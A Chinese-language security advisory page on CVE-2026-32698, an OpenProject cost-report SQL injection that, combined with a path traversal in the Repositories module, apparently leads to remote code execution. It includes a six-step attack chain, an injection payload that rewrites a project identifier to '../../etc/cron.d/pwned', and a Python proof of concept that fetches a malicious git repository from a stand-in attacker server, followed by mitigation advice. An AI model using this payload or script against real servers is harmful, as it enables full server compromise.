IPBUF安全漏洞报告
English
CVE-2026-32698 CVSS 9.1 严重

CVE-2026-32698 OpenProject SQL注入导致远程代码执行漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32698
漏洞类型
SQL注入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenProject

相关标签

SQL注入远程代码执行OpenProject路径遍历GitRuby成本报告自定义字段CVSS9.1CRITICAL

漏洞概述

CVE-2026-32698是OpenProject项目管理软件中的一个严重安全漏洞,CVSS评分高达9.1。该漏洞允许具有管理员权限的攻击者通过构造恶意的自定义字段名称进行SQL注入攻击。当该自定义字段被用于成本报告(Cost Report)功能时,攻击者注入的恶意SQL代码会被直接执行,从而实现对数据库的未授权操作。更为严重的是,攻击者可以结合OpenProject Repositories模块中的另一个缺陷,通过SQL注入修改项目标识符,使其包含特殊字符(如点和斜杠),然后利用git仓库checkout功能将仓库checkout到服务器上的任意路径。如果攻击者将恶意代码checkout到OpenProject应用程序的特定路径,在应用重启后即可实现Ruby代码注入和远程代码执行。由于自定义字段功能仅对具有完整管理员权限的用户开放,虽然攻击面相对有限,但一旦攻击成功,将导致服务器完全沦陷。

技术细节

漏洞根源在于OpenProject的Cost Report功能在处理自定义字段名称时缺乏充分的输入验证和SQL语句参数化。具体来说,当用户在成本报告中添加自定义字段时,系统直接将字段名称拼接到SQL查询语句中,攻击者可以通过在自定义字段名称中嵌入SQL语句(如单引号、UNION SELECT等)来操纵查询逻辑。由于自定义字段只能由管理员创建,攻击者需要先获取管理员账号或提升当前用户权限至管理员级别。结合Repositories模块的缺陷,攻击者可以:1)利用SQL注入修改项目标识符为任意字符串(如../../etc/cron.d/malicious);2)通过git checkout功能将包含恶意Ruby代码的仓库checkout到目标路径;3)触发应用重启以执行注入的代码。整个攻击链充分利用了多个安全缺陷的组合效应,实现了从SQL注入到远程代码执行的权限提升。

攻击链分析

STEP 1
步骤1:获取管理员权限
攻击者通过社会工程学、密码喷洒或其他方式获取OpenProject管理员账号凭据。由于自定义字段功能仅对管理员开放,这是后续攻击的前提条件。
STEP 2
步骤2:创建恶意自定义字段
使用管理员权限创建一个包含SQL注入载荷的自定义字段。载荷示例:'; UPDATE projects SET identifier='../../etc/cron.d/pwned' WHERE id=1; --,该载荷旨在修改项目标识符为可利用的路径。
STEP 3
步骤3:触发SQL注入执行
将恶意自定义字段添加到成本报告(Cost Report)中。当系统生成报告时,未经过滤的字段名称被拼接到SQL查询中,触发注入的UPDATE语句,从而修改目标项目的标识符。
STEP 4
步骤4:准备恶意Git仓库
攻击者在自己的服务器上创建一个Git仓库,其中包含恶意Ruby代码文件(如在.git/hooks或应用程序加载路径中)。
STEP 5
步骤5:利用Repositories模块checkout到任意路径
利用被SQL注入修改后的项目标识符(包含路径遍历字符),通过OpenProject的git仓库checkout功能,将恶意仓库checkout到服务器上的任意路径(如应用目录)。
STEP 6
步骤6:触发代码执行
当OpenProject应用重启时,被checkout到应用目录的恶意Ruby代码被自动加载执行,实现远程代码执行(RCE),完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32698 PoC - OpenProject SQL Injection leading to RCE # Note: Requires administrator privileges to create custom fields import requests import json TARGET_URL = "https://vulnerable-openproject.example.com" LOGIN_URL = f"{TARGET_URL}/auth/login" API_URL = f"{TARGET_URL}/api/v3" # Step 1: Authenticate as administrator session = requests.Session() login_data = { "username": "admin", "password": "admin_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Create malicious custom field with SQL injection payload custom_field_data = { "name": "'; UPDATE projects SET identifier='../../etc/cron.d/pwned' WHERE id=1; --", "type": "string", "customized_type": "Project" } response = session.post(f"{API_URL}/custom_fields", json=custom_field_data) print(f"Custom field creation response: {response.status_code}") # Step 3: Trigger Cost Report to execute the SQL injection cost_report_data = { "columns": ["custom_field_1"], "group_by": "project" } response = session.post(f"{API_URL}/cost_reports", json=cost_report_data) print(f"Cost report execution response: {response.status_code}") # Step 4: Create a git repository with malicious Ruby code malicious_repo_url = "https://attacker-server/malicious-repo.git" repo_config = { "project_id": "../../etc/cron.d/pwned", "repository_url": malicious_repo_url, "scm_type": "git" } response = session.post(f"{API_URL}/repositories", json=repo_config) print(f"Repository checkout response: {response.status_code}")

影响范围

OpenProject < 16.6.9
OpenProject < 17.0.6
OpenProject < 17.1.3
OpenProject < 17.2.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制管理员账户数量,确保只有必要人员拥有管理员权限;2)启用审计日志功能,监控自定义字段的创建和成本报告的生成;3)在Web应用防火墙中配置SQL注入检测规则,拦截包含单引号、UNION、UPDATE等SQL关键字的可疑请求;4)限制Git仓库checkout功能的使用,仅允许checkout到预定义的安全目录;5)实施网络隔离,限制OpenProject服务器的网络访问权限,防止攻击成功后进一步横向移动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表